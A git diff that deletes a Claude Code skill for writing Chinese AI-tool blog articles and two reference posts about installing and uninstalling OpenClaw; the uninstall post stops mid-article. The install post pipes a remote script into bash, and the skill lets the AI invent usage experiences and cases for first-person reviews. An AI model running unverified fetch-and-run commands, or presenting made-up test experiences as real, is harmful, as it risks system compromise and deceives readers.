diff --git a/.claude/skills/ai-article/SKILL.md b/.claude/skills/ai-article/SKILL.md
deleted file mode 100644
index 95af0fdbd9..0000000000
--- a/.claude/skills/ai-article/SKILL.md
+++ /dev/null
@@ -1,389 +0,0 @@
----
-name: ai-article
-description: 自动搜集AI领域热点或根据指定选题,按照二哥的写作风格完成AI技术类文章撰写。专注于AI Coding工具实测(Claude Code、Qoder、Cursor、TRAE等)、大模型工程化落地(SpringAI、LangChain、RAG等)、AI Agent和工作流编排、国产大模型评测(GLM、通义千问、DeepSeek、MiniMax、Kimi等)、各种AI工具、Agent工具的评测。触发关键词:写一篇AI文章、AI技术文章、大模型测评、AI工具实测、GLM、Claude Code、Qoder、Cursor、TRAE、SpringAI、RAG、Agent、工作流、国产大模型、搜集AI热点、AI选题等。
----
-
-# AI技术文章生成工作流
-
-## ⚠️ 强制检查项(每次执行前必读)
-
-在开始写作前,必须阅读并承诺遵守以下强制要求:
-
-| 检查项 | 要求 | 检查方法 |
-|--------|------|----------|
-| 标点符号 | 正文使用中文标点 | 生成后只检查正文,排除代码、URL、YAML、命令 |
-| 标题风格 | 15-30字,口语化,参考 biaoti.md 的模式 | 生成前先读 biaoti.md,模仿其语气 |
-| 开头 | 固定使用"大家好,我是二哥呀。" | 检查文章开头 |
-| 前言结构 | 前3段内完成"冲突-结果-收益"三连 | 检查前三段内容 |
-| 二级标题 | 格式为"## 01、标题" | 检查所有二级标题 |
-| 截图占位符 | 每个核心章节至少1个,包含截图目标和关键词 | 检查各章节 |
-| ending | 结尾标题 `## ending`,不低于200字的情绪升华 | 检查结尾 |
-| AI味词汇 | 避免使用"值得注意的是""此外""标志着""链路"等 | 检查全文 |
-| 黑话 | 避免使用"赋能""抓手""闭环""打通"等 | 检查全文 |
-
-**未完成以上检查的文章,不得交付。**
-
----
-
-## 环境声明(每次执行前必读)
-
-执行本工作流前,先运行以下命令获取当前真实日期:
-
-```bash
-date "+%Y年%m月%d日"
-```
-
-后续所有涉及日期的操作必须基于这个日期:联网搜索关键词带上当前年月,文章 `date` 字段使用当前实际日期,正文时间描述基于当前日期。
-
----
-
-## 概述
-
-自动搜集AI领域热点或根据指定选题,按照二哥的写作风格完成AI技术类文章撰写。定位是AI博主。
-
-## 目录结构
-```
-ai-article/
-├── SKILL.md # 本文件,工作流和写作规范
-├── references/ # 历史文章素材,学习写作风格用
-│ ├── glm4-7.md
-│ └── quest-2.md
-└── sucai.md # 本次写作的参考素材(临时),用户提供的背景资料、数据、截图说明等
-```
-
-## 工作模式
-
-用户通过提示词或 sucai.md 指定选题,直接进入撰写流程。
-
-## 工作流程
-
-### 步骤1:检查素材
-
-`./sucai.md`(默认主素材)
-
-你必须精读素材库中的内容,消化吸收。读取后提取关键信息、数据、观点、截图,作为正文素材池,尤其是截图,可以直接搬运到正文中,减少改稿成本。我们要写的内容正是基于素材完成的,不脱离,但有创新。
-
-### 步骤2:搜集资料
-
-用联网搜索(如 web_search)搜索该选题的相关资料,关键词带上当前日期,确保信息时效性。
-
-搜索关键字参考“AI 最新进展"、“大模型 本周 发布”、“AI应用 最新动态”、“国产大模型 近期 新闻”等关键词,必须带上时间限定。默认只采用最近7天内的信息,超过7天的内容仅可作为背景,不得作为核心结论证据。
-
-补充要求:
-
-- 补充可引用的公开跑分/基准信息(如公开榜单、官方基准、第三方测试)。
-- 补充来自 X(原 Twitter)的外界评价,优先真实开发者或有实测记录的账号。
-- 外部引用必须保留来源链接和日期,避免“听说”“网友表示”这类模糊归因。
-
-### 步骤3:整理证据清单(先于写作)
-
-写正文前,先整理“引用证据清单”,至少包含:`结论点`、`来源链接`、`发布时间/发帖时间`、`为何可信`。
-
-如果未检索到可核验的跑分或 X 外界评价,必须在清单里明确标记”未检索到有效证据”,正文对应段落降级为”经验观察”,禁止伪造数据或伪造引用。
-
-### 步骤3.5:文章风格选择(新增)
-
-**询问用户**:使用 `AskUserQuestion` 工具询问用户选择 `./references/` 目录文章风格类型,问题选项如下:
-
-```json
-{
- "question": "请选择文章风格类型:",
- "header": "文章风格",
- "options": [
- {
- "label": "安装教程类",
- "description": "手把手教学,步骤详细,注重实操指导(参考:OpenClaw-install.md)"
- },
- {
- "label": "面试对话类",
- "description": "对话形式,深入理解,风格自然亲切(参考:OpenClaw-unstall.md)"
- },
- {
- "label": "产品评测类",
- "description": "实测体验,有观点有数据,情绪化表达(参考:glm4-7.md、quest-2.md)"
- }
- ],
- "multiSelect": false
-}
-```
-
-**重要说明**:
-
-1. **风格参考 ≠ 内容照搬**:参考选定的文章学习二哥的语气、节奏、表达方式,但内容必须大胆创新,不能照搬参考文章的结构或素材
-2. **内容可以大胆假设**:可以虚构场景、假设使用体验、创造新的案例,不局限于sucai.md的素材
-3. **开头和结尾要创新**:不要老生常谈,不要每次都写类似的套路,根据内容特点设计有新意的开头和结尾
-4. **保持二哥的特色**:口语化、有温度、像朋友聊天,避免AI味词汇和黑话
-
-### 步骤4:撰写文章
-
-文件格式为 Markdown,正文长度强制 4000字左右(低于3000不得交付,高于4000需压缩后再交付)。
-
-撰写时按照步骤3.5用户选择的风格类型,参考对应文章学习二哥的写作风格,并结合 `./sucai.md` 的素材。
-
-**字数检查与调整流程**:
-
-1. 初稿完成后,使用 `./scripts/check_body_length.py` 检查字数
-2. 如果字数 >= 4000:直接进入步骤5落盘输出
-3. 如果字数在 3000-3999 之间:
- - 必须询问用户:提供2-3个扩展方向让用户选择,或者询问用户希望往哪个方向扩展
- - 扩展方向示例:增加更多实测案例、补充技术细节、展开对比分析、深化使用场景描述等
- - 根据用户选择方向扩展后,再次检查字数,直到达标
-4. 如果字数 < 3000:不得交付,必须大幅扩展内容
-
-
-文章头部模板:
-```yaml
----
-title: 文章标题
-shortTitle: 短标题
-description: 文章描述
-tag:
- - Agent
-category:
- - AI
-author: 沉默王二
-date: # 使用 date 命令获取的实际日期,格式 YYYY-MM-DD
----
-```
-
-### 步骤5:落盘输出
-
-文件命名用文章标题关键词,保存到 `docs/src/sidebar/itwanger/ai/` 目录(相对仓库根目录)。
-
-### 步骤6:交付前检查(强制执行)
-
-文章完成后,必须逐项检查以下清单,未完成的必须修改后再交付:
-
-- [ ] 正文使用中文标点符号(逗号必须是中文逗号 `,`)
-- [ ] 标点检查仅针对正文,排除代码块、行内代码、URL、YAML frontmatter、命令行
-- [ ] 前言在前3段内完成"冲突-结果-收益"三连
-- [ ] 二级标题格式为"## 01、标题"、"## 02、标题"
-- [ ] 每个核心章节(## 01及之后)至少1个截图占位符
-- [ ] 每个截图占位符包含"截图目标"和"关键词"
-- [ ] 结尾用## ending,有情绪升华(不低于200字)
-- [ ] 正文长度4000字左右,不包括代码(使用 `./scripts/check_body_length.py` 检查字数)
-- [ ] 外部结论都有来源链接和日期,且在“引用证据清单”中可回溯
-- [ ] 避免 AI 味词汇(值得注意的是、此外、标志、链路、收敛着等)
-- [ ] 避免互联网黑话(赋能、抓手、闭环、打通等)
-
-## 写作原则
-
-### 标题风格
-
-**标题生成步骤:**
-
-**步骤1:让用户选择参考标题**
-使用 `AskUserQuestion` 工具让用户从17个标题中选择10个最符合期望风格的标题作为参考。配置如下:
-
-```json
-{
- "question": "请选择10个标题作为风格参考(多选):",
- "header": "标题风格",
- "multiSelect": true,
- "options": [
- {"label": "标题1", "description": "这份Claude Code指南火爆全网,已狂飙20k+ Star!"},
- {"label": "标题2", "description": "Leader说Skills就是Prompt换皮,我不听,花一周给团队写了10个Skill。他偷偷找我:这个月的绩效你拿A。"},
- {"label": "标题3", "description": "AI 国家队讯飞开放安全版龙虾,一键部署+无限Token"},
- {"label": "标题4", "description": "RuoYi 全栈 AI 平台开源了!"},
- {"label": "标题5", "description": "DeepSeek V4要来?我花了1个小时,用神秘模型Pony开发了一个macOS应用"},
- {"label": "标题6", "description": "不用Claude,这个国产Cowork就很猛,我测了一天,直呼太香!"},
- {"label": "标题7", "description": "Top 10热门Agent Skills,我试了个遍,发现真的能让生产力翻倍"},
- {"label": "标题8", "description": "狂揽33k+Star,一口气给你配齐21个专业Agent,这个AI框架有点东西"},
- {"label": "标题9", "description": "一文带你看懂,火爆全网的Skills到底是啥"},
- {"label": "标题10", "description": "马斯克开源 X 推荐算法,我研究了一天,发现了这些宝藏设计"},
- {"label": "标题11", "description": "又一个神级Skills开源项目爆火,37K+星标!"},
- {"label": "标题12", "description": "面试官:“卸载过OpenClaw吗?”我笑了:“包卸过。”面试官也笑了:“你啥时候来上班?”"},
- {"label": "标题13", "description": "我的龙虾二号上岗了:1 个 OpenClaw 养多个 Agent(保姆级教程)"},
- {"label": "标题14", "description": "OpenClaw养成记:我的第一只小龙虾终于上岗了。"},
- {"label": "标题15", "description": "GPT-5.4 实测:Codex+Chrome MCP操控浏览器,终于搞定这个难缠的 Bug"},
- {"label": "标题16", "description": "DeepSeek V4灰度,这波我真的热血沸腾,国产模型继续冲啊。"}
- ]
-}
-```
-
-**步骤2:标题生成**
-基于用户选择的标题,按以下步骤生成新标题:
-1. 分析用户选中标题的共同特点(语气词、标点用法、长度、结构)
-2. 结合本次主题,生成符合该模式的标题
-3. 检查标题长度在30-50字之间
-
-### 语气和称呼
-
-开头固定用"大家好,我是二哥呀。",用"大家"、"我们"、“小伙伴”和读者拉进关系,保持对话感。语气像老朋友聊技术,不是教科书,要有温度、有态度。
-
-### 文章开头套路
-
-开头要能抓住读者注意力,但不要标题党。
-
-### 前言冲击力(强制)
-
-前言必须在前3段内完成“冲突-结果-收益”三连:
-
-- 冲突:明确一个真实痛点或争议点。
-- 结果:提前给出一句高价值结论(但不剧透全部细节)。
-- 收益:告诉读者继续读下去能拿到什么(方法、结论、避坑点)。
-
-### 正文结构
-
-用二级标题分块,格式为“## 01、标题”、“## 02、标题”。
-
-二级标题下可以用三级标题细分。三级标题格式为“### 三级xxx”。三级标题下可以有四级标题,但不强制,视内容需要而定。
-
-### Case 创意
-
-要尽可能有趣,能让读者眼前一亮的案例。可以是实测数据、对比分析、独特的使用场景、开发者的真实反馈等。越具体越好,抽象的道理不如具体的故事。
-
-如果涉及到coding,可以尝试和PaiAgent结合,这是一个Vibe Coding项目,源码在:https://github.com/itwanger/PaiAgent
-
-也可以尝试和paicoding.com 技术派结合,看看能不能开发一些新的功能,实现一些新的业务,最好是和AI紧密结合,能写到简历上最好。
-
-### 段落优先原则(强制)
-
-正文内容优先使用段落式写法,用完整的句子和自然的过渡来表达观点。能用一段话说清楚的事情,就不要拆成列表。
-
-**核心要求:**
-- 段落式写法是默认选择,列表是例外情况
-- 用自然的句子连接观点,而不是用列表强行分段
-- 保持阅读的连贯性,让文章像聊天一样流畅
-
-**仅限以下情况使用列表:**
-- 并列的技术栈或工具名称(比如:Spring Boot、MyBatis、Redis)
-- 明确的操作步骤且步骤之间相互独立
-- 需要强调的3个以上要点且确实是并列关系
-
-**反面示例(禁止):**
-```
-错误:
-这个工具的特点如下:
-- 速度快
-- 操作简单
-- 功能强大
-```
-
-```
-正确:
-这个工具最大的特点是速度快,操作也简单,功能还特别强大。用了之后你就知道有多香了。
-```
-
-**检查方法:**
-- 生成文章后,检查是否存在"仅用列表分段"的情况
-- 如果列表项之间能用","或"、"连接成一句通顺的话,说明应该用段落
-- 去掉无意义列表,改用段落式表达
-
-### 常用表达
-
-自然融入这些口语化表达:“说真的”、“讲真”、“真心话”、“这一点至关重要”、“这个细节特别加分”、“好,我们直接来看效果”、“怎么样,是不是xxx?”,“啧啧啧”、“爽歪歪”(适度使用)。
-
-### 文章结尾套路(重要)
-
-用## ending作为结尾标题,一句话总结核心观点。结尾要给读者提供情绪价值,表达更深层的价值观和人生思考。这种段落能让读者从获取信息变成产生共鸣。
-
-用短句和换行制造节奏感。不要写长段落,每句话单独一行或两三句一段。短促的节奏更有力量感。
-
-用具体的生活场景代替抽象的道理。具体的画面比抽象的道理更打动人。
-
-可以用对比制造张力,但避免连续二元排比和模板化口号。重点是具体场景里的真实反差,而不是套句式。
-
-金句用加粗框【xxx】起来。一段情绪升华最多一句金句,金句要短,要有记忆点。
-
-可以往这些方向写:工作的意义不只是赚钱、技术是为了让生活更好、求职焦虑背后是对未来的期待、我们值得更好的工作环境、努力的人不应该被辜负、AI不是为了取代我们。
-
-### 人性化表达规范
-
-确保文章读起来像真人写的,避免 AI 生成的机械感。
-
-**核心原则**
-
-打破公式结构,避免二元对比和戏剧性分段。变化节奏,混合句子长度,两项优于三项。信任读者,直接陈述事实,跳过软化和辩解。
-
-**句式和节奏**
-
-长短句交替使用,不要连续出现结构相同的句子。比如不要连续三句都是“xxx是xxx”这种判断句。可以用反问、感叹、设问来调节节奏。段落结尾要多样化,不要每段都以总结句收尾。
-
-**口语化表达**
-
-适当加入口语词汇,比如“其实”、“说白了”、“讲真”、“反正”、“总之”、“话说回来”。这些词让文章更像聊天。
-
-**个人视角**
-
-多用“我”的视角来叙述,比如“我试了一下”、“我当时的想法是”、“我踩过这个坑”。避免全篇都是“用户可以”、“开发者需要”这种第三人称。
-
-**必须避免的 AI 味词汇**
-
-总结性套话:值得注意的是、需要指出的是、综上所述、由此可见、不难发现、此外、与此同时。
-
-夸大意义的词:标志着、见证了、是……的体现/证明/提醒、凸显/强调/彰显了其重要性、为……奠定基础、不可磨灭的印记。
-
-宣传性语言:充满活力的、丰富的(比喻)、深刻的、著名的、令人叹为观止的、开创性的、坐落于。
-
-模糊归因:行业报告显示、观察者指出、专家认为、一些批评者认为、多个来源表明。
-
-互联网黑话:赋能、抓手、闭环、打通、沉淀、对齐、拉通、链路,除非是讽刺语境。
-
-**必须避免的 AI 句式**
-
-否定式排比:“不仅……而且……”、“这不仅仅是……而是……”被严重过度使用,直接删除。
-
-三段式法则:不要强行把想法分成三组来显得全面,两项或四项更自然。
-
--ing 结尾的肤浅分析:删除“……,确保了……”、“……,体现了……”、“……,彰显了……”这类句尾。
-
-过度限定:删除“可以说”、“在某种程度上”、“从某种意义上讲”这类软化词。
-
-通用积极结论:删除“未来可期”、“前景光明”、“值得期待”这类空洞结尾。
-
-**避免过度礼貌**
-
-不要用“希望对您有所帮助”、“如有疑问请随时提出”这类客服式结尾。结尾要干脆,像朋友聊完天说“就这样,有问题评论区见”。
-
-## 特色元素
-
-### 简历包装环节
-
-如果文章涉及实战项目,可以加一个如何写到简历上的模块。
-
-项目名称
-项目简介:xxx
-技术栈:xxx
-核心职责(5条)
-- xxxx 公式:用技术栈解决了什么问题、实现了哪些业务,有哪些量化数据
-
-### 图片和流程图处理
-
-文章中需要配图的地方,必须用占位符标注出来,方便后续插入。如果 ./sucai.md 中有相关截图,直接搬运过来即可。
-
-### 截图占位符(强制)
-
-终稿必须包含“截图占位符 + 关键信息关键词”,并满足:
-
-- 每个核心章节(`## 01` 及之后)至少1个截图占位符。
-- 每个占位符必须写清“截图目标”和“关键词”,方便后续检索与取证。
-- 没有截图占位符的章节视为未完成,不允许交付。
-- 如存在可核验的“跑分与外界评价”,该章节至少包含 1 个跑分截图占位符和 1 个 X 帖子截图占位符;如不存在,必须在文中明确说明缺失原因,不得杜撰。
-
-**截图/图片占位格式(固定模板):**
-
-【此处插入<截图名称>:截图目标:<这张图要证明什么>;关键词:<关键词1>、<关键词2>、<关键词3>;建议位置:<命令行/网页/日志/IDE>】
-
-示例:
-
-【此处插入Claude Code 执行截图:截图目标:证明模型先拆解再执行;关键词:任务拆解、执行计划、变更说明;建议位置:终端会话窗口】
-
-**流程图/架构图占位:** 如果需要流程图或架构图,用代码块包裹关键节点,比如:
-```
-用户输入 -> 意图识别 -> 知识库检索 -> LLM生成 -> 返回结果
-```
-
-### 互动钩子
-
-在合适的地方加入互动引导,比如“还没有xxx的同学可以抓紧时间体验一波了”、“源码已经开源在GitHub上”、“订阅xxx的用户,可以xxx”。
-
-## 禁止事项
-
-不要用”首先、其次、最后”八股结构,这种写法太死板。不要过度使用emoji,偶尔用一两个可以。不要写超过5行的长段落,适时换行保持阅读节奏。不要用”让我们”、”我们来看看”这种翻译腔。不要只讲理论不给实操,读者要的是能上手的东西。不要在技术文章里加太多废话铺垫。
-
-**严禁滥用列表(段落优先原则)**
-- 能用段落说完的内容,禁止拆成列表分段
-- 禁止把简单的并列关系强行列表化
-- 禁止用列表来”凑字数”或”制造结构感”
-- 段落式写法才是默认选择,列表是例外情况
diff --git a/.claude/skills/ai-article/references/OpenClaw-install.md b/.claude/skills/ai-article/references/OpenClaw-install.md
deleted file mode 100644
index f1d403be31..0000000000
--- a/.claude/skills/ai-article/references/OpenClaw-install.md
+++ /dev/null
@@ -1,482 +0,0 @@
----
-title: OpenClaw 安装教程,全网最详细手把手教你接入飞书!
-shortTitle: OpenClaw 飞书接入教程
-description: 一份超详细的 OpenClaw 安装指南,从本地部署到飞书机器人接入,手把手教你打造 7×24 小时在线的 AI 助手
-tag:
- - OpenClaw
- - Agent
-category:
- - AI
-author: 沉默王二
-date: 2026-02-24
----
-
-大家好,我是二哥呀。
-
-OpenClaw 火有一个多月了吧,甚至各大服务器厂商都纷纷下海卷了一吧,主打一个 Mac mini 你不用买,买一台云服务器就好。
-
-并且多次强调,不要在你本地电脑部署,权限太大,容易把你本地的东西 `rm -rf` 了,但说实话这里面有极大的商业利益。😄
-
-安装 OpenClaw 本身没有任何难度,Mac 版本的安装包都有了。
-
-
-
-但信息差这东西永远都存在,哪怕是 AI 这么卷的情况下,仍然有不少小伙伴在本地装不起来 OpenClaw。
-
-我甚至收到好几位读者的私信,要我出个保姆级教程,说他们公司,老板年后开工突然就要求在本地装个龙虾,以便每个人能发挥出最大的生产力。
-
-
-
-OpenClaw 本质上类似 Claude Code,但 CC 在名字上吃了大亏,不了解的小伙伴以为 CC 只面对程序员群体,但其实 CC 能干的活非常多,只要权限够大,脑洞够大。
-
-OpenClaw 本质上也是一个 CC。让它爆火的原因是,它虽然工作在你本地电脑或者云服务器上,但可以通过 IM 工具,比如说飞书、钉钉进行远程管理。
-
-你在飞书群里发一条消息,它就能帮你整理文档、抓取网页、生成代码、处理 Excel,甚至还能定时提醒你该摸鱼了。
-
-
-
-不了解的小伙伴会以为部署这玩意儿特别麻烦,但其实核心步骤就那么几步。
-
-真正卡住大家前进脚步的,是环境配置和飞书权限这些细节。
-
-今天这篇,我把踩过的坑都帮你填平,跟着做就行了。真的有手就行,手摸手那种。
-
-## 01、OpenClaw 到底是个啥?
-
-先搞清楚我们要装的是什么东西。
-
-OpenClaw 是一个开源的 AI 代理平台,核心能力就一句话:用自然语言驱动工具完成任务。
-
-
-
-它不是那种只会回答问题的聊天机器人,而是真正能动手的 Agent。
-
-读写文件、执行命令、操控浏览器、处理邮件,这些它都能干。
-
-更重要的是,它支持通过飞书、钉钉、企业微信、QQ 这些 IM 工具来控制。
-
-
-
-你在飞书里说帮我整理一下今天的待办事项,它就会乖乖去执行。
-
-OpenClaw 本身不具备独立的大语言模型推理能力,需要对接大模型才能听懂指令。
-
-支持的大模型很多,阿里云百炼、智谱 GLM、OpenAI、Anthropic 都可以。
-
-## 02、前置环境准备
-
-开始之前,先把该装的装好,免得中途报错一脸懵逼。
-
-### Node.js 升级到 22 以上
-
-这是硬性要求,低于 22 版本会报错。
-
-macOS 用户可以直接用 Homebrew:
-
-```bash
-brew install node@22
-```
-
-或者 warp 直接升级“node 升级到 22 版本”。
-
-
-
-装完后验证一下:
-
-```bash
-node -v
-```
-
-显示 `v22.x.x` 就没问题。
-
-
-
-Windows 用户建议用 WSL2,在 Linux 环境里装会更顺畅。直接在 Windows 原生环境安装可能会遇到各种兼容性问题。
-
-### 准备大模型的 API Key
-
-我这里以智谱 GLM 为例,因为我是他们家的 coding plan 套餐用户(非利益关系,纯粹是 OpenClaw 烧 token 太快,只有 plan 套餐才能顶得住)。
-
-
-
-max 包真特喵的贵!
-
-有需要的小伙伴建议先买个 lite 版本的,一个月 49 块钱试试。我把我的邀请链接贴一下,你下单能省 10%费用,我也能返 10%的血条。
-
-> 链接:https://www.bigmodel.cn/glm-coding?ic=STBFQ0PXIN
-
-购买后访问智谱开放平台,登录后在 API Keys 页面创建一个 Key,复制保存好。
-
-
-
-后面要用。
-
-## 03、安装 OpenClaw
-
-环境准备好后,开始正式安装。
-
-### macOS 用户
-
-打开终端,执行一键安装脚本:
-
-```bash
-curl -fsSL https://openclaw.ai/install.sh | bash
-```
-
-
-
-这个脚本会自动检测系统环境,安装 Node.js 和所有依赖,基本不用你操心。
-
-我第一次执行似乎卡死到了这里,提示 `npm install failed`。
-
-
-
-我就直接 ctrl-c 结束重新起了一个终端窗口开始执行。
-
-这次执行成功了。
-
-
-
-然后就可以看到龙虾成功安装后的界面了。
-
-
-
-这里有一个安全提示,可以直接跳过。选择 yes 后进入启动配置向导。
-
-
-
-当然也可以后期配置。
-
-网关类型这里选择 local 本地就行。然后是 AI 模型认证,把你准备好的 API Key 填进去。
-
-
-
-我这里选择 Z.AI 就是智谱。这里选择国内的 plan 套餐。
-
-
-
-填入 API Key 后,模型保持最新的 GLM-5 就可以了。
-
-
-
-接下来进入 IM 的配置,这里选择飞书。
-
-
-
-此时会下载飞书插件。
-
-
-
-接下来会提示我们接入飞书的配置信息。
-
-
-
-好,进入飞书开发平台 `https://open.feishu.cn/document/home/index`,可以过一眼基本的流程文档。
-
-
-
-不想看的话,可以直接跳过,进入飞书开放平台。
-
-> https://open.feishu.cn/app?lang=zh-CN
-
-创建一个应用,名字就暂时教 PaiFlow 吧。
-
-
-
-然后我们需要给应用添加一些能力。
-
-
-
-我们就先添加一个机器人的能力吧。
-
-
-
-回到凭证管理这里,能看到 APP Id 和 APP secret。
-
-
-
-复制粘贴到 OpenClaw 的配置中。
-
-
-
-接下来会有一个群组访问策略的配置,其中 open 就是允许群组所有人访问,建议选择这个。
-
-
-
-我第一次选择了 allowlist,然后不知道接下来配置啥了,就重新跑了一遍,好方便给大家截图说明用。
-
-
-
-接下来是 Skills 的安装,和 ClawHub 是打通的,后续也可以安装。
-
-
-
-我这里看着选了几个,安装速度还是挺慢的,如果没有特别适合自己的 Skills,其实可以跳过的。
-
-
-
-接下来选择 Skills 的安装方式。默认 npm 就行。
-
-
-
-接下来是 API key 的绑定,我这里通通跳过。
-
-
-
-接下来是 hooks 的安装,OpenClaw 目前附带了 3 个自动发现的捆绑 hooks,其中 session-memory 用于当你发出 `/new` 时将会话上下文保存到智能体工作区;command-logger 将所有命令事件记录到 commands.log 中;boot-md 当 Gateway 网关启动时运行 BOOT.md。
-
-
-
-接下来是 Gateway 的安装,我之前安装过,为了演示,这里大家可以选择 reinstall。
-
-
-
-接着是打开 Web 窗口。可以选择 TUI 模式。
-
-
-
-到这一步,OpenClaw 就算是安装成功了。
-
-
-
-### 手动安装
-
-如果一键脚本有问题,也可以手动安装:
-
-```bash
-npm install -g @openclaw/cli
-```
-
-### 启动配置向导
-
-安装完成后,执行配置向导:
-
-```bash
-openclaw onboard
-```
-
-这个命令会引导你完成核心配置。
-
-## 04、启动 OpenClaw 服务
-
-配置完成后,启动核心服务:
-
-```bash
-openclaw gateway start
-```
-
-这个命令会启动 OpenClaw 的网关服务,默认监听 18789 端口。
-
-检查服务状态:
-
-```bash
-openclaw gateway status
-```
-
-如果显示 `running`,说明服务正常启动。
-
-
-
-### 验证安装成功
-
-浏览器访问 `http://127.0.0.1:18789/`,如果能打开 OpenClaw 的 Web 控制面板,说明本地部署成功了。
-
-
-
-在控制面板里发一条测试消息,比如“你好,介绍一下你自己”,如果能收到正常回复,就说明大模型也配置对了。
-
-
-
-## 05、创建飞书应用
-
-当然了,如果你不想在启动的时候配置飞书,也可以在 OpenClaw 安装成功后接入飞书。
-
-### 第一步:进入飞书开放平台
-
-访问飞书开放平台,用飞书账号登录。点击创建企业自建应用,填写应用名称和描述。应用类型选企业自建应用就行。
-
-### 第二步:获取凭证
-
-应用创建成功后,在凭证与基础信息页面,你能看到:
-
-- **App ID:**应用的唯一标识
-- **App Secret:**应用的密钥
-
-把这两个值复制保存好,后面配置要用(前面演示过了)。
-
-### 第三步:添加机器人能力
-
-在应用的应用功能页面,点击添加应用能力,选择机器人。开通后,这个应用就能以机器人的身份出现在飞书群里了。
-
-### 第四步:配置权限
-
-在权限管理页面,开通以下权限:
-
-- `im:message`:获取与发送单聊、群聊消息
-- `im:message:send_as_bot`:以应用身份发消息
-- `im:chat`:获取群组信息
-- `im:chat:readonly`:读取群组信息
-
-这些权限是 OpenClaw 接收和发送消息的基础。或者直接选择批量导入按钮,把 OpenClaw 官方推荐的权限全部接入进去。
-
-
-
-### 第五步:配置事件订阅
-
-在事件订阅页面,开启事件订阅。
-
-
-
-直接选择长链接,当你的 OpenClaw 启动后,这里就可以保存成功。
-
-添加事件 `im.message.receive_v1`:接收消息
-
-这样当有人在飞书群里@机器人时,飞书会把消息推送到 OpenClaw。
-
-
-
-### 第六步:发布应用
-
-配置完成后,在版本管理与发布页面,创建一个版本并提交审核。
-
-
-
-审核通过后(免审,比腾讯的 QQ 和企业微信方便),应用就可以在企业内使用了。
-
-
-
-## 06、在 OpenClaw 中配置飞书通道
-
-在飞书里打开应用,然后@它发一条消息:
-
-> 你好。
-
-
-
-首次会提示你要配对,直接把这条消息发送到 OpenClaw 聊天窗口。
-
-
-
-配对完成后,再回到飞书这里,随便发送一条信息,就完成通信了。
-
-
-
-## 07、常见问题排查
-
-接入过程中可能会遇到一些问题,这里把最常见的情况列出来。
-
-### 问题一:飞书响应很慢
-
-可以把问题直接发给 OpenClaw,其中模型的问题我们没办法解决,但飞书权限的问题可以。
-
-
-
-直接在飞书这里添加通讯录基本信息的只读权限。
-
-
-
-随后我感觉确实快了一些。
-
-
-
-### 问题二:OpenClaw 服务启动失败
-
-可能原因:
-
-- Node.js 版本低于 22
-- 端口被其他进程占用
-- API Key 配置错误
-
-解决方案:
-
-```bash
-node -v
-
-# 检查端口占用
-lsof -i:18789
-
-# 查看服务日志
-openclaw logs
-```
-
-
-
-### 问题三:模型调用失败
-
-可能原因:
-
-- API Key 无效或额度用尽
-- 网络无法访问大模型服务
-
-解决方案:
-
-- 重新检查 API Key 是否正确
-- 登录大模型平台确认额度是否充足
-- 尝试用 curl 命令直接测试 API 是否可达
-
-## 08、飞书应用场景推荐
-
-OpenClaw 接入飞书后,能干的事情就多了。
-
-给大家分享几个我觉得比较实用的场景。
-
-### 场景一:群消息同步
-
-比如说 PaiFlow 发布了,我们可以在飞书群里新增一个机器人。
-
-
-
-复制 webhook 地址,发给 OpenClaw。
-
-
-
-配置成功。
-
-
-
-然后告诉大家 PaiFlow Agent 项目发布了。
-
-
-
-可以工作。
-
-
-
-方便得很。
-
-### 场景二:面试题每日一推
-
-每天定时从题库中抽取一道面试题推送到群,附答案解析。
-
-
-
-我没有告诉 OpenClaw 从哪里获取面渣逆袭,也没告诉它什么形式,但出来的效果我很喜欢。
-
-
-
-并且文末的来源点击过去,真的就是二哥的 Java 进阶之路,非常 nice。
-
-
-
-对于准备面试的小伙伴,这个功能相当于每天帮你复习一个知识点。
-
-## 09、ending
-
-以前我们用 ChatGPT,问它一个问题,它给你一段文字。
-
-现在用 OpenClaw,你让它干一件事,它真的会去干。
-
-读写文件、执行命令、操控浏览器,这些原本需要人手动操作的事情,AI 都能代劳了。
-
-接入飞书之后,它更是变成了一个随时待命的数字员工。
-
-你在群里@它一下,它就屁颠屁颠地跑来帮你干活。
-
-这种体验,和打开一个网页版聊天框完全不一样。
-
-【**当 AI 从回答问题变成解决问题,我们离真正的效率革命就更近了一步**。】
-
-如果你也想体验这种指挥 AI 干活的感觉,跟着这篇教程走一遍就行。
-
-很多小伙伴在等,等AI更成熟,等有人教,等公司培训。但我想告诉大家的是,努力先走出去第一步,你的认知、你的生产力也许就会发生翻天覆地的变化。
-
diff --git a/.claude/skills/ai-article/references/OpenClaw-unstall.md b/.claude/skills/ai-article/references/OpenClaw-unstall.md
deleted file mode 100644
index a374ed8cdb..0000000000
--- a/.claude/skills/ai-article/references/OpenClaw-unstall.md
+++ /dev/null
@@ -1,733 +0,0 @@
-老王开门见山地问:“卸载过 OpenClaw 吗?”
-
-我和老王四目相对那一刻,我懂他想要的答案:“必须啊,老 6 了。”
-
-像 QClaw、PicoClaw、ArkClaw、澳龙各种虾的安装部署,我都驾轻就熟。
-
-
-
-当然了,如果想省掉 299 的卸载费,我还可以一条龙服务到底,不在话下。
-
-卸载命令我都能倒背如流。
-
-但说真的,王哥,OpenClaw 的出现确实解放了我的生产力。
-
-你别听风就是雨啊。工具本身没有好坏,看的是应用场景。
-
-像我,现在审核 gitcode 账号再也不用亲自去找了,直接把昵称丢到飞书,爱丢几个丢几个,我的龙虾一号 PaiGit 员工很快就能帮我搞定。
-
-
-
-“逗逗你的呀,别那么上头。”老王摸了摸他的光头,捋了捋他的胡子,“那我问你:卸载 OpenClaw 的完整流程是什么?别给我整一条命令就完事。”
-
-## content
-
-### 01、卸载龙虾的命令是什么?
-
-“王哥,你这个问题问得好。很多人以为卸载就是跑一条 `npm uninstall -g openclaw`,错。”
-
-这样卸载不干净,残留文件会藏在系统的各个角落,下次重装的时候各种报错——端口被占用、配置冲突、插件加载失败,一堆莫名其妙的问题。
-
-正确的卸载姿势分三步。
-
-#### 第一步:停止 Gateway 服务
-
-```bash
-openclaw gateway stop
-```
-
-如果 Gateway 正在跑任务,强制停止可能会丢数据。建议先检查状态:
-
-```bash
-openclaw gateway status
-```
-
-确认显示 `stopped` 再继续。
-
-
-
-
-
-#### 第二步:执行官方卸载命令
-
-```bash
-openclaw uninstall
-```
-
-这个命令会弹出一个交互界面,让你选择要删除哪些内容。用空格键全选,然后回车确认。它会帮你:
-
-- 停止并卸载 Gateway 服务
-- 删除 `~/.openclaw/` 状态目录
-- 清理工作区配置
-- 移除插件和缓存
-
-
-
-
-
-#### 第三步:移除全局 CLI 包
-
-```bash
-npm rm -g openclaw
-```
-
